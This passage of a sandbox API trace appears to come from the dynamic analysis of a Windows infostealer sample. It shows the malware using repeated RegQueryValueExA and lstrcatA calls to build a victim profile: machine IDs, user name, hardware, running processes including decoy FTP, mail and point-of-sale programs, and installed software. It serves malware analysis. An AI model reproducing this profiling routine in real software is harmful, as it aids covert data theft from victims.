[3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016"
[0054.972] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.972] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 ["
[0054.972] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- 